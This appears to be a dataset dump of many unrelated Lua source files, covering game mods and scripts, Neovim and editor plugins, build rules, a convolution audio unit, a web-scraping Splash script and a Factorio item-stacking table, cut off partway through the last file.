content stringlengths 5 1.05M |
|---|
local SignsConfig = require('gitsigns.config').Config.SignsConfig
local M = {Sign = {}, }
return M
|
--[[
旅店
]]
-- 显示延时
local C_SHOW_DELAY = 0.5
local Hostel = class("Hostel", require("app.main.modules.script.ScriptBase"))
-- 构造函数
function Hostel:ctor(config)
if config then
table.merge(self,config)
end
end
-- 执行
function Hostel:execute()
local costs = gameMgr:getHostelCost() * majorTeam:getRoleCount()
uiMgr:openUI("select",{
messages = gameMgr:getStrings("HOSTEL_MSG1",{ costs = costs }),
selects = {
{
label = gameMgr:getStrings("YES")[1],
type = "Y",
},{
label = gameMgr:getStrings("NO")[1],
type = "N",
}
},
appendEnd = function ()
uiMgr:openUI("golds")
uiMgr:setFrontByName("select")
end,
onComplete = function (result,item)
if result and item.type == "Y" then
if majorTeam:tryCostGolds(costs) then
uiMgr:openUI("message",{
texts = gameMgr:getStrings("GOODNIGHT"),
showconfig = {
ctrl_complete = false,
},
onComplete = function ()
uiMgr:openUI("shadelight",{
shadetime = 0.5,
lighttime = 0.5,
switch = function (onComplete_)
uiMgr:closeAll("shadelight")
majorTeam:recoverSP()
majorTeam:recoverSoldiers()
local lastbgm = audioMgr:getCurrentBGM()
audioMgr:listenFinish(audioMgr:playBGM(gameMgr:getRestBGM(),false),function ()
if lastbgm then audioMgr:playBGM(lastbgm) end
if onComplete_ then onComplete_() end
end)
end,
onComplete = function ()
uiMgr:openUI("message",{
autoclose = true,
texts = gameMgr:getStrings("HOSTEL_MSG2")
})
end
})
end
})
else
uiMgr:openUI("message",{
autoclose = true,
texts = gameMgr:getStrings("HOSTEL_MSG3"),
onComplete = function ()
uiMgr:closeAll()
end
})
end
else
uiMgr:openUI("message",{
autoclose = true,
texts = gameMgr:getStrings("WELCOMEAGAIN"),
onComplete = function ()
uiMgr:closeAll()
end
})
end
end
})
end
return Hostel
|
local str="{\"type\":\"1\",\"data\":\"#1\"}"
configfilename="config.txt"
id="abcedfg"
ssid="zy_em"
psw="123456"
function getConfig()
if file.exists(configfilename) then
if file.open(configfilename, "r") then
line=file.readline()
content=""
cfg={}
i=0
while( line )
do
k=string.sub(line, 0,string.find(line, "=")-1)
v=string.sub(line, string.find(line, "=.*")+1)
v=v.sub(v, 0,string.len(v)-1)
print(v)
cfg[k]=v
line=file.readline()
end
file.close()
end
return cfg
end
return nil;
end
if file.open(configfilename, "w+") then
file.writeline("id="..id);
file.writeline("ssid="..ssid);
file.writeline("pwd="..psw);
file.close()
cfg=getConfig()
print(cfg['ssid'])
else
print("open error")
end |
--[[
© 2020 TERRANOVA do not share, re-distribute or modify
without permission of its author (zacharyenriquee@gmail.com).
--]]
PLUGIN.name = "Custom Class";
PLUGIN.description = "Adds custom class functionality for the scoreboard.";
PLUGIN.author = "Adolphus";
ix.util.IncludeDir(PLUGIN.folder .. "/commands", true)
ix.util.IncludeDir(PLUGIN.folder .. "/meta", true)
ix.config.Add( "runClassHook", false, "Should plugin run PlayerJoinedClass hook?", nil, {
category = "Perma Class"
} )
if SERVER then
function PLUGIN:PlayerJoinedClass( ply, classInd, prevClass )
local character = ply:GetCharacter()
if(character:GetFaction() == FACTION_MPF) then
return
end
if character then
character:SetData( "pclass", classInd )
end
end
function PLUGIN:PlayerLoadedCharacter( ply, curChar, prevChar )
local character = ply:GetCharacter()
if(character:GetFaction() == FACTION_MPF) then
return
end
local data = curChar:GetData( "pclass" )
if data then
local class = ix.class.list[ data ]
if class then
local oldClass = curChar:GetClass()
if ply:Team() == class.faction then
timer.Simple( .3, function()
curChar:SetClass( class.index )
if ix.config.Get( "runClassHook", false ) then
hook.Run( "PlayerJoinedClass", ply, class.index, oldClass )
end
end )
end
end
end
end
end
|
object_ship_spacestation_ord_mantell_dungeon = object_ship_shared_spacestation_ord_mantell_dungeon:new {
}
ObjectTemplates:addTemplate(object_ship_spacestation_ord_mantell_dungeon, "object/ship/spacestation_ord_mantell_dungeon.iff")
|
local Observer = require('utils.observer')
---@class ScoreMgr: Observer
local ScoreMgr = Observer:new()
function ScoreMgr:init()
self:setup()
self.kills = {}
self:registerEvent(Events.EnemyDeath, function(player, unit)
self.kills[player] = self.kills[player] or 0
self.kills[player] = self.kills[player] + 1
end)
self.timerUpdate = Timer:create()
self.timerUpdate:start(1, function()
for _, player in ipairs(PlayerMgr:getPlayers()) do
self.lb:setItemValue(self.lb:getPlayerIndex(player), self.kills[player] or 0)
end
local currentOnMap = math.ceil(BattleGroundMgr:getCurrentOnMap())
self.lb:setItemValue(self.lb:getPlayerIndex(PlayerMgr:getWavePlayer()), currentOnMap >= 0 and currentOnMap or 0)
end)
self:registerEvent(Events.GameVictory, Events.GameLose, function()
self.timerUpdate:delete()
end)
self:registerEvent(Events.PlayerLeave, function(player)
self.lb:setItemLabel(self.lb:getPlayerIndex(player), L['<Left Game>'])
end)
self:registerEvent(Events.NextWave, function(lvl)
self.lb:setItemValue(self.lb:getPlayerIndex(Player:get(9)), lvl)
end)
end
function ScoreMgr:setup()
local lb = LeaderBoard:create()
self.lb = lb
lb:setLabel(L['|c0000FF00WoW TD All Stars|r'])
for _, player in ipairs(PlayerMgr:getPlayers()) do
player:setLeaderboard(lb)
lb:addItem(player:getName(), 0, player)
end
lb:addItem(L['Current Level'], WaveMgr:getCurrentLevel(), Player:get(9))
lb:addItem(L['|c007FFFD4% Overrun|r'], 0, PlayerMgr:getWavePlayer())
lb:setItemValueColor(lb:getPlayerIndex(PlayerMgr:getWavePlayer()), 127, 255, 211, 255)
lb:display(true)
lb:setSizeByItemCount(lb:getItemCount())
end
ScoreMgr:init()
|
local math = math
local const = require "const"
local Direction = const.Direction
local function isPointInCircularSector(cx, cy, ux, uy, px, py, rSQ, cosTheta)
local dx, dy = px - cx, py - cy
local disSQ = dx * dx + dy * dy
if disSQ > rSQ then
return false
else
local dis = math.sqrt(disSQ)
return dx * ux + dy * uy > dis * cosTheta;
end
end
local function calDegreeToSouth(p)
local h = p.y
local w = p.x
if w == 0 and h == 0 then
return 0
end
local deg = math.deg(math.atan2(math.abs(h), math.abs(w)))
if w >= 0 and h >= 0 then
deg = 270 - deg
elseif w <= 0 and h >= 0 then
deg = 90 + deg
elseif w <= 0 and h <= 0 then
deg = 90 - deg
else
deg = 270 + deg
end
-- the same but cannot avoid sqrt
-- local theta = math.deg(math.acos(-h / math.sqrt(h*h+w*w)))
-- if w > 0 then
-- theta = 360 - theta
-- end
return (deg + 360) % 360
end
local function getDirectionByDegree(deg)
local dir = nil
if deg >= 22.5 and deg < 67.5 then
dir = Direction.WS
elseif deg >= 67.5 and deg < 112.5 then
dir = Direction.W
elseif deg >= 112.5 and deg < 157.5 then
dir = Direction.NW
elseif deg >= 157.5 and deg < 202.5 then
dir = Direction.N
elseif deg >= 202.5 and deg < 247.5 then
dir = Direction.NE
elseif deg >= 247.5 and deg < 292.5 then
dir = Direction.E
elseif deg >= 292.5 and deg < 337.5 then
dir = Direction.ES
else
dir = Direction.S
end
return dir
end
local function getDirection(p1, p2)
local deg = calDegreeToSouth(cc.pSub(p2, p1))
return getDirectionByDegree(deg)
end
local function getItemInfoByItemId(itemId)
local data = require("data.itemData")
return data[itemId]
end
local function getRewardInfoByItemInfo(itemInfo)
s = ""
if itemInfo['function'] == const.ITEM_TYPE.Special then
s = itemInfo.name
elseif itemInfo.attack ~= nil then
s = "攻击力+" .. itemInfo.attack
elseif itemInfo.defense ~= nil then
s = "防御力+" .. itemInfo.defense
elseif itemInfo.hp ~= nil then
s = "HP+" .. itemInfo.hp
elseif itemInfo.critical ~= nil then
s = "暴击率+" .. itemInfo.critical .. "%"
elseif itemInfo.block ~= nil then
s = "防暴击率+" .. itemInfo.block .. "%"
elseif itemInfo.coin ~= nil then
s = "金币+" .. itemInfo.coin
end
return s
end
local function jumpMsg(parent, msg, color, pos, fontSize)
local label = cc.Label:createWithSystemFont(msg, const.DEFAULT_FONT, fontSize)
label:enableShadow()
label:setPosition(pos)
label:setColor(color)
local moveup = cc.MoveBy:create(0.6, cc.p(0, 100))
local scaleBy = cc.ScaleBy:create(0.3, 1.5)
local scaleBack = scaleBy:reverse()
local spawn = cc.Spawn:create(moveup, cc.Sequence:create(scaleBy, scaleBack))
local callFunc = cc.CallFunc:create(function ()
label:removeFromParent(true)
end)
parent:addChild(label, const.DISPLAY_PRIORITY.JumpWord)
local seq = cc.Sequence:create(spawn, callFunc)
label:runAction(seq)
end
local function createHintMsgAction(target)
local delay = cc.DelayTime:create(1)
local fadeOut = cc.FadeOut:create(1)
local callback = cc.CallFunc:create(function ()
target:setVisible(false)
end)
local seq = cc.Sequence:create(delay, fadeOut, callback)
return seq
end
local function getDisplayText(s)
local new_str = nil
if s ~= nil then
new_str = string.gsub(s, '#r', '\n')
end
return new_str
end
return {
isPointInCircularSector = isPointInCircularSector,
getDirection = getDirection,
getItemInfoByItemId = getItemInfoByItemId,
getRewardInfoByItemInfo = getRewardInfoByItemInfo,
jumpMsg = jumpMsg,
createHintMsgAction = createHintMsgAction,
getDisplayText = getDisplayText,
} |
-- entity_creation_menu
-- created on 2021/8/25
-- author @zoloypzuo
local _M = {}
function _M.GenerateEntityCreationMenu(menuList, parentEntity, onItemClicked)
-- TODO
--GenerateActorCreationMenu(MenuList& p_menuList, Actor* p_parent, std::optional<std::function<void()>> p_onItemClicked)
end
--p_menuList.CreateWidget<MenuItem>("Create Empty").ClickedEvent += Combine(EDITOR_BIND(CreateEmptyActor, true, p_parent, ""), p_onItemClicked);
--
--auto& primitives = p_menuList.CreateWidget<MenuList>("Primitives");
--auto& physicals = p_menuList.CreateWidget<MenuList>("Physicals");
--auto& lights = p_menuList.CreateWidget<MenuList>("Lights");
--auto& audio = p_menuList.CreateWidget<MenuList>("Audio");
--auto& others = p_menuList.CreateWidget<MenuList>("Others");
--
--primitives.CreateWidget<MenuItem>("Cube").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Cube", p_onItemClicked);
--primitives.CreateWidget<MenuItem>("Sphere").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Sphere", p_onItemClicked);
--primitives.CreateWidget<MenuItem>("Cone").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Cone", p_onItemClicked);
--primitives.CreateWidget<MenuItem>("Cylinder").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Cylinder", p_onItemClicked);
--primitives.CreateWidget<MenuItem>("Plane").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Plane", p_onItemClicked);
--primitives.CreateWidget<MenuItem>("Gear").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Gear", p_onItemClicked);
--primitives.CreateWidget<MenuItem>("Helix").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Helix", p_onItemClicked);
--primitives.CreateWidget<MenuItem>("Pipe").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Pipe", p_onItemClicked);
--primitives.CreateWidget<MenuItem>("Pyramid").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Pyramid", p_onItemClicked);
--primitives.CreateWidget<MenuItem>("Torus").ClickedEvent += ActorWithModelComponentCreationHandler(p_parent, "Torus", p_onItemClicked);
--physicals.CreateWidget<MenuItem>("Physical Box").ClickedEvent += ActorWithComponentCreationHandler<CPhysicalBox>(p_parent, p_onItemClicked);
--physicals.CreateWidget<MenuItem>("Physical Sphere").ClickedEvent += ActorWithComponentCreationHandler<CPhysicalSphere>(p_parent, p_onItemClicked);
--physicals.CreateWidget<MenuItem>("Physical Capsule").ClickedEvent += ActorWithComponentCreationHandler<CPhysicalCapsule>(p_parent, p_onItemClicked);
--lights.CreateWidget<MenuItem>("Point").ClickedEvent += ActorWithComponentCreationHandler<CPointLight>(p_parent, p_onItemClicked);
--lights.CreateWidget<MenuItem>("Directional").ClickedEvent += ActorWithComponentCreationHandler<CDirectionalLight>(p_parent, p_onItemClicked);
--lights.CreateWidget<MenuItem>("Spot").ClickedEvent += ActorWithComponentCreationHandler<CSpotLight>(p_parent, p_onItemClicked);
--lights.CreateWidget<MenuItem>("Ambient Box").ClickedEvent += ActorWithComponentCreationHandler<CAmbientBoxLight>(p_parent, p_onItemClicked);
--lights.CreateWidget<MenuItem>("Ambient Sphere").ClickedEvent += ActorWithComponentCreationHandler<CAmbientSphereLight>(p_parent, p_onItemClicked);
--audio.CreateWidget<MenuItem>("Audio Source").ClickedEvent += ActorWithComponentCreationHandler<CAudioSource>(p_parent, p_onItemClicked);
--audio.CreateWidget<MenuItem>("Audio Listener").ClickedEvent += ActorWithComponentCreationHandler<CAudioListener>(p_parent, p_onItemClicked);
--others.CreateWidget<MenuItem>("Camera").ClickedEvent += ActorWithComponentCreationHandler<CCamera>(p_parent, p_onItemClicked);
return _M |
local a, b = 1, '2'
print(a, b)
a, b = b, a
print(a, b)
|
--LibCrossplatformASM
--A minimal (while still somewhat usable modern day) cross-platform ASM re-imagining in LUA.
--By NodeMixaholic (SparksammyOfficial on ROBLOX)
---IS
--CHECKS IF 2 NUMBERS EQUAL
---GRT
--CHECKS IF N1 > N2
---LES
--CHECKS IF N1 < N2
---LOAD (LOAD: VAR,POS)
--Loads from VRAM
---STOR
--Saves to VRAM
---CLRR
--Clears VRAM
---ADD
--Adds 2 numbers
---SUB
---MULT
---DIV
---PRNT
--PRNT Hello, World
---DEF (defines var)
---ASM (does crossplat asm)
local ram = {} --Our virtual RAM
function _G.ExecCrossplatASM(instruction)
local indivIns = instruction.split("#/&")
pcall(function()
if (tostring(indivIns[1]).lower() == "is") then
if (tonumber(indivIns[2]) == tonumber(indivIns[3])) then
return true
else
return false
end
elseif (tostring(indivIns[1]).lower() == "grt") then
if (tonumber(indivIns[2]) > tonumber(indivIns[3])) then
return true
else
return false
end
elseif (tostring(indivIns[1]).lower() == "les") then
if (tonumber(indivIns[2]) < tonumber(indivIns[3])) then
return true
else
return false
end
elseif (tostring(indivIns[1]).lower() == "load") then
_G.asmvar[indivIns[2]] = ram[tonumber(indivIns[3])]
elseif (tostring(indivIns[1]).lower() == "stor") then
ram.insert(indivIns[2])
elseif (tostring(indivIns[1]).lower() == "clrr") then
ram = {}
elseif (tostring(indivIns[1]).lower() == "add") then
return tonumber(indivIns[2]) + tonumber(indivIns[3])
elseif (tostring(indivIns[1]).lower() == "sub") then
return tonumber(indivIns[2]) - tonumber(indivIns[3])
elseif (tostring(indivIns[1]).lower() == "mult") then
return tonumber(indivIns[2]) * tonumber(indivIns[3])
elseif (tostring(indivIns[1]).lower() == "div") then
return tonumber(indivIns[2]) / tonumber(indivIns[3])
elseif (tostring(indivIns[1]).lower() == "def") then
_G.asmvar[indivIns[2]] = indivIns[3]
elseif (tostring(indivIns[1]).lower() == "prnt") then
print(indivIns[2])
elseif (tostring(indivIns[1]).lower() == "asm") then
_G.ExecCrossplatASM(indivIns[2])
end
end)
end
print("LibCrossplatformASM for ROBLOX ready!")
|
local lm = require 'luamake'
local isWindows = lm.os == 'windows'
local exe = isWindows and ".exe" or ""
local dll = isWindows and ".dll" or ".so"
lm:variable("luamake", "luamake")
lm.LUAMAKE = "copy_luamake"
lm.EXE_NAME = "luamake"
lm:import "3rd/bee.lua/make.lua"
lm:copy "copy_luamake" {
input = "$bin/luamake"..exe,
output = "luamake"..exe,
deps = "luamake",
}
if isWindows then
lm:copy "copy_lua54" {
input = "$bin/lua54"..dll,
output = "tools/lua54"..dll,
deps = "lua54"
}
end
lm:default {
"test",
"copy_luamake",
isWindows and "copy_lua54",
}
|
local app = app
local libcore = require "core.libcore"
local Class = require "Base.Class"
local SamplePool = require "Sample.Pool"
local SamplePoolInterface = require "Sample.Pool.Interface"
local Unit = require "Unit"
local Task = require "Unit.MenuControl.Task"
local MenuHeader = require "Unit.MenuControl.Header"
local Encoder = require "Encoder"
local GainBias = require "Unit.ViewControl.GainBias"
local ConvolutionUnit = Class {}
ConvolutionUnit:include(Unit)
function ConvolutionUnit:init(args)
args.title = "Exact Convo- lution"
args.mnemonic = "Co"
Unit.init(self, args)
end
function ConvolutionUnit:onLoadGraph(channelCount)
if channelCount == 2 then
self:loadStereoGraph()
else
self:loadMonoGraph()
end
end
function ConvolutionUnit:loadMonoGraph()
local convolve = self:addObject("convolve", libcore.MonoConvolution())
local xfade = self:addObject("xfade", app.CrossFade())
local fader = self:addObject("fader", app.GainBias())
local faderRange = self:addObject("faderRange", app.MinMax())
connect(self, "In1", convolve, "In")
connect(convolve, "Out", xfade, "A")
connect(self, "In1", xfade, "B")
connect(xfade, "Out", self, "Out1")
connect(fader, "Out", xfade, "Fade")
connect(fader, "Out", faderRange, "In")
self:addMonoBranch("wet", fader, "In", fader, "Out")
end
function ConvolutionUnit:loadStereoGraph()
local convolve = self:addObject("convolve", libcore.StereoConvolution())
local xfade = self:addObject("xfade", app.StereoCrossFade())
local fader = self:addObject("fader", app.GainBias())
local faderRange = self:addObject("faderRange", app.MinMax())
connect(self, "In1", convolve, "Left In")
connect(self, "In2", convolve, "Right In")
connect(convolve, "Left Out", xfade, "Left A")
connect(convolve, "Right Out", xfade, "Right A")
connect(self, "In1", xfade, "Left B")
connect(self, "In2", xfade, "Right B")
connect(xfade, "Left Out", self, "Out1")
connect(xfade, "Right Out", self, "Out2")
connect(fader, "Out", xfade, "Fade")
connect(fader, "Out", faderRange, "In")
self:addMonoBranch("wet", fader, "In", fader, "Out")
end
function ConvolutionUnit:setSample(sample)
if self.sample then self.sample:release(self) end
self.sample = sample
if self.sample then self.sample:claim(self) end
if sample then
if sample:isPending() then
local Timer = require "Timer"
local handle = Timer.every(0.5, function()
if self.sample == nil then
return false
elseif sample.path ~= self.sample.path then
return false
elseif not sample:isPending() then
self.objects.convolve:setSample(sample.pSample)
return false
end
end)
else
self.objects.convolve:setSample(sample.pSample)
end
end
end
function ConvolutionUnit:serialize()
local t = Unit.serialize(self)
local sample = self.sample
if sample then t.sample = SamplePool.serializeSample(sample) end
return t
end
function ConvolutionUnit:deserialize(t)
Unit.deserialize(self, t)
if t.sample then
local sample = SamplePool.deserializeSample(t.sample, self.chain)
if sample then
self:setSample(sample)
else
local Utils = require "Utils"
app.logError("%s:deserialize: failed to load sample.", self)
Utils.pp(t.sample)
end
end
end
function ConvolutionUnit:doDetachSample()
local Overlay = require "Overlay"
Overlay.mainFlashMessage("Sample detached.")
self:setSample()
end
function ConvolutionUnit:doAttachSampleFromCard()
local task = function(sample)
if sample then
local Overlay = require "Overlay"
Overlay.mainFlashMessage("Attached sample: %s", sample.name)
self:setSample(sample)
end
end
local Pool = require "Sample.Pool"
Pool.chooseFileFromCard(self.loadInfo.id, task)
end
function ConvolutionUnit:doAttachSampleFromPool()
local chooser = SamplePoolInterface(self.loadInfo.id, "choose")
chooser:setDefaultChannelCount(self.channelCount)
local task = function(sample)
if sample then
local Overlay = require "Overlay"
Overlay.mainFlashMessage("Attached sample: %s", sample.name)
self:setSample(sample)
end
end
chooser:subscribe("done", task)
chooser:show()
end
local menu = {
"sampleHeader",
"selectFromCard",
"selectFromPool",
"detachBuffer"
}
function ConvolutionUnit:onShowMenu(objects, branches)
local controls = {}
controls.sampleHeader = MenuHeader {
description = "Sample Menu"
}
controls.selectFromCard = Task {
description = "Select from Card",
task = function()
self:doAttachSampleFromCard()
end
}
controls.selectFromPool = Task {
description = "Select from Pool",
task = function()
self:doAttachSampleFromPool()
end
}
controls.detachBuffer = Task {
description = "Detach Buffer",
task = function()
self:doDetachSample()
end
}
local sub = {}
if self.sample then
sub[1] = {
position = app.GRID5_LINE1,
justify = app.justifyLeft,
text = "Attached Sample:"
}
sub[2] = {
position = app.GRID5_LINE2,
justify = app.justifyLeft,
text = "+ " .. self.sample:getFilenameForDisplay(24)
}
sub[3] = {
position = app.GRID5_LINE3,
justify = app.justifyLeft,
text = "+ " .. self.sample:getDurationText()
}
sub[4] = {
position = app.GRID5_LINE4,
justify = app.justifyLeft,
text = string.format("+ %s %s %s", self.sample:getChannelText(),
self.sample:getSampleRateText(),
self.sample:getMemorySizeText())
}
else
sub[1] = {
position = app.GRID5_LINE3,
justify = app.justifyCenter,
text = "No sample attached."
}
end
return controls, menu, sub
end
local views = {
collapsed = {},
expanded = {
"wet"
}
}
function ConvolutionUnit:onLoadViews(objects, branches)
local controls = {}
controls.wet = GainBias {
button = "wet",
description = "Wet/Dry Amount",
branch = branches.wet,
gainbias = objects.fader,
range = objects.faderRange,
biasMap = Encoder.getMap("unit"),
initialBias = 0.5
}
return controls, views
end
function ConvolutionUnit:onRemove()
self:setSample(nil)
Unit.onRemove(self)
end
return ConvolutionUnit
|
-- PlayerReplicator
-- Replicates ALL player functions and exposes them as a message handler.
require("/scripts/messageutil.lua")
require("/scripts/xcore_customcodex/LearnCodexRoutine.lua") -- Defines LearnCodex(string name)
local OldInit = init
function init()
if OldInit then
OldInit()
end
message.setHandler("xcodexLearnCodex", localHandler(LearnCodex))
end
function postinit()
-- NEW: I want to also try to prepopulate the player's species's known codexes.
-- This is in postinit() because LearnCodex uses logging which requires access to sb (which is defined *after* init for some god-awful reason.)
-- In case you don't know -- InitializationUtility.lua adds a postinit function.
local playerCfg = root.assetJson("/player.config")
local defaultCdxArray = playerCfg.defaultCodexes
local playerSpecies = player.species()
local speciesDefaultCdx = defaultCdxArray[playerSpecies] or {}
for _, cdx in pairs(speciesDefaultCdx) do
LearnCodex(cdx .. "-codex") -- This is so that it doesn't complain about it not being a codex item.
end
end
-- Yes, this goes down here. Don't move it or you will cause postinit() to never run.
require("/scripts/xcore_customcodex/InitializationUtility.lua") |
---@diagnostic disable: undefined-global
local palette = require 'nord-palette'
-- davidhalter/jedi-vim
local clrs = palette.clrs
local spec = palette.spec
local gui_combine = palette.gui_combine
local pkg = function()
return {
jediFunction {fg = clrs.nord4, bg = clrs.nord3},
jediFat {
fg = clrs.nord8,
bg = clrs.nord3,
gui = gui_combine {spec.underline, spec.bold},
},
}
end
return pkg
-- vi:nowrap
|
---
--- url tools for Lua.
--- Created by c0de1ife.
--- DateTime: 2018/4/13 18:04
---
local url = {}
--url encoding (percent-encoding)
function url.encode(url)
return url:gsub("[^a-zA-Z0-9%-_%.~!%*'%(%);:@&=%+%$,/%?#%[%]]", function (c)
return string.format('%%%X', string.byte(c))
end):gsub('%%20', '+')
end
--url decoding (percent-encoding)
function url.decode(url)
local str = str:gsub('+', ' ')
return url:gsub("%%(%x%x)", function (c)
return string.char(tonumber(c, 16))
end)
end
return url
|
-- Theme: fullwine
-- Author: lmenou
-- LICENSE: Apache 2.0
local setter = require "theme_setter"
local fullwine = setter.colors
-- Hard Background
fullwine.aged_reds = "#292323"
local theme = setter.setter(fullwine)
return {
theme = theme,
fullwine = fullwine,
}
-- lua: et tw=79 ts=2 sts=2 sw=2
|
function main(splash)
local cookies = splash.args.cookies
if cookies then
splash:init_cookies(cookies)
end
local response = splash:http_get{splash.args.url, headers=splash.args.headers}
if response.ok then
return response.body
else
return {
ok = response.ok,
body = response.body,
http_status = response.status,
headers = response.headers,
}
end
end
|
local function ContainerPostInit(inst)
inst._CanTakeItemInSlot = inst.CanTakeItemInSlot
function inst:CanTakeItemInSlot(item, slot)
if item.components and item.components.characterspecific and not item.components.characterspecific:CanPickUp(inst.opener) and not item.components.characterspecific:IsStorable() then
inst.components.talker:Say(item.components.characterspecific:GetComment())
inst.opener.components.inventory:DropItem(item)
return false
end
if item.components and item.components.characterspecific and not item.components.characterspecific:CanPickUp(inst.opener) and inst.type == "pack" then
inst.components.talker:Say(item.components.characterspecific:GetComment())
inst.opener.components.inventory:DropItem(item)
return false
end
return inst:_CanTakeItemInSlot(item, slot)
end
inst._GiveItem = inst.GiveItem
function inst:GiveItem( inst, slot, src_pos )
if not self:CanTakeItemInSlot(inst, slot) then
return false
end
return self:_GiveItem(inst , slot, src_pos)
end
inst._TakeActiveItemFromAllOfSlot = inst.TakeActiveItemFromAllOfSlot
function inst:TakeActiveItemFromAllOfSlot(slot)
local item = nil
if self.slots ~= nil then
item = self.slots[slot]
elseif self._items ~= nil then
item = self._items[slot]
end
if item and item.components and item.components.characterspecific and not item.components.characterspecific:CanPickUp(self.opener) then
inst.opener.components.talker:Say(item.components.characterspecific:GetComment())
return
end
inst:_TakeActiveItemFromAllOfSlot(slot)
end
inst._SwapActiveItemWithSlot = inst.SwapActiveItemWithSlot
function inst:SwapActiveItemWithSlot(slot)
local item = nil
if self.slots ~= nil then
item = self.slots[slot]
elseif self._items ~= nil then
item = self._items[slot]
end
if item and item.components and item.components.characterspecific and not item.components.characterspecific:CanPickUp(self.opener) then
inst.opener.components.talker:Say(item.components.characterspecific:GetComment())
return
end
inst:_SwapActiveItemWithSlot(slot)
end
inst._MoveItemFromAllOfSlot = inst.MoveItemFromAllOfSlot
function inst:MoveItemFromAllOfSlot(slot, container)
local item = nil
if self.slots ~= nil then
item = self.slots[slot]
elseif self._items ~= nil then
item = self._items[slot]
end
if item and item.components and item.components.characterspecific and not item.components.characterspecific:CanPickUp(self.opener) then
inst.opener.components.talker:Say(item.components.characterspecific:GetComment())
return
end
inst:_MoveItemFromAllOfSlot(slot, container)
end
return inst
end
AddComponentPostInit("container", ContainerPostInit)
AddComponentPostInit("container_relica", ContainerPostInit)
AddPrefabPostInit("container_classified", ContainerPostInit) |
statapi = {
-- version = "",
-- intllib = S,
}
statapi.names = {
"n_dug",
"u_dug",
"n_placed",
"u_placed"
}
-- References:
-- * Bucket_Game/mods/coderfood/unified_foods/hunger.lua
local of_player = {}
for i, what in ipairs(statapi.names) do
of_player[i] = {}
end
local function index_of(what)
for i, n in ipairs(statapi.names) do
if n == what then
return i
end
end
return nil
end
statapi.get = function(player, what)
local inv = player:get_inventory()
if not inv then return nil end
local i = index_of(what)
if not i then return nil end
local has = inv:get_stack("stats", i):get_count()
if has == 0 then
return nil
end
return has - 1
end
statapi.get_int = function(player, what)
return statapi.get(player, what) or 0
end
local function push_meta_at(player, i, what)
local inv = player:get_inventory()
local plname = player:get_player_name()
if not inv then return nil end
local value = of_player[i][plname]
if not value then
minetest.log("error", "Error: push_meta_at got a bad index.")
return nil
end
local iname = "stat:"..what
inv:set_stack("stats", i, ItemStack({name=iname, count=value+1}))
return true
end
local function push_meta(player, what)
local i = index_of(what)
if not i then return nil end
return push_meta_at(player, i, what)
end
local function pull_meta_at(player, i)
local inv = player:get_inventory()
if not inv then return nil end
local has = inv:get_stack("hunger", 1):get_count()
local plname = player:get_player_name()
if has < 1 then
-- nil or 0 means bad or Empty slot
of_player[i][plname] = 0
else
of_player[i][plname] = has - 1
end
return true
end
statapi.set = function(player, what, value)
local i = index_of(what)
if not i then return nil end
local plname = player:get_player_name()
if value > 65535 then value = 65535 end
-- 65536 yields empty item error: See "Re: 99 items"
-- by GreenDimond (Wed Mar 01, 2017 21:58)
-- <https://forum.minetest.org/viewtopic.php?p=254386
-- &sid=b3c0e94cd51c6883c2552858563fd8da#p254386>
if value < 0 then value = 0 end
of_player[i][plname] = value
return push_meta_at(player, i, what)
end
minetest.register_on_joinplayer(function(player)
local plname = player:get_player_name()
local inv = player:get_inventory()
for i, what in ipairs(statapi.names) do
inv:set_size("stats", 32)
pull_meta_at(player, i) -- Load it (forcibly non-nil).
push_meta_at(player, i, what) -- Save it (in case it's nil).
end
end)
minetest.register_on_respawnplayer(function(player)
-- reset stats (and save)
local plname = player:get_player_name()
for i, what in ipairs(statapi.names) do
of_player[i][plname] = 0
push_meta_at(player, i, what)
end
end)
|
#!/usr/bin/env luajit
-- not really a unit test
require 'symmath'.setup{env=env, MathJax={title='tests/unit/determinant_performance', pathToTryToFindMathJax='..'}}
require 'ext'
local x = var'x'
local n = 7
local startTime = os.clock()
local m = Matrix:lambda({n,n}, function(i,j)
return x^(i+j)
end)
local d = m:determinant{callback=function(...)
return printbr(...)
end}
printbr('m = \n'..m)
printbr('d = \n'..d)
local endTime = os.clock()
local dt = endTime - startTime
printbr('time taken = '..dt)
|
---@meta
---@class unknown
---@class any
---@class nil
---@class boolean
---@class number
---@class integer: number
---@class thread
---@class table<K, V>: { [K]: V }
---@class string: stringlib
---@class userdata
---@class lightuserdata
---@class function
|
-- DO NOT MODIFY THIS FILE MANUALLY
-- This file is generated by running the configure script.
local stackables = {}
-- Defined itemss
stackables.items = {
{
["item-name"] = "omnite",
["unlock-tier"] = "deadlock-stacking-1",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-omnite.png",
["icon-size"] = 64,
["icon-additions"] = {}
},
{
["item-name"] = "stone-crushed",
["unlock-tier"] = "deadlock-stacking-1",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-stone-crushed.png",
["icon-size"] = 64,
["icon-additions"] = {}
},
{
["item-name"] = "pulverized-stone",
["unlock-tier"] = "deadlock-stacking-2",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-pulverized-stone.png",
["icon-size"] = 64,
["icon-additions"] = {}
},
{
["item-name"] = "crushed-omnite",
["unlock-tier"] = "deadlock-stacking-2",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-crushed-omnite.png",
["icon-size"] = 64,
["icon-additions"] = {}
},
{
["item-name"] = "pulverized-omnite",
["unlock-tier"] = "deadlock-stacking-2",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-pulverized-omnite.png",
["icon-size"] = 64,
["icon-additions"] = {}
},
{
["item-name"] = "omnite-brick",
["unlock-tier"] = "deadlock-stacking-1",
["icon"] = "__DeadlockStackingForOmnimatter__/graphics/icons/omnimatter/stacked-omnite-brick.png",
["icon-size"] = 64,
["icon-additions"] = {}
},
{
["item-name"] = "omnicium-plate",
["unlock-tier"] = "deadlock-stacking-1",
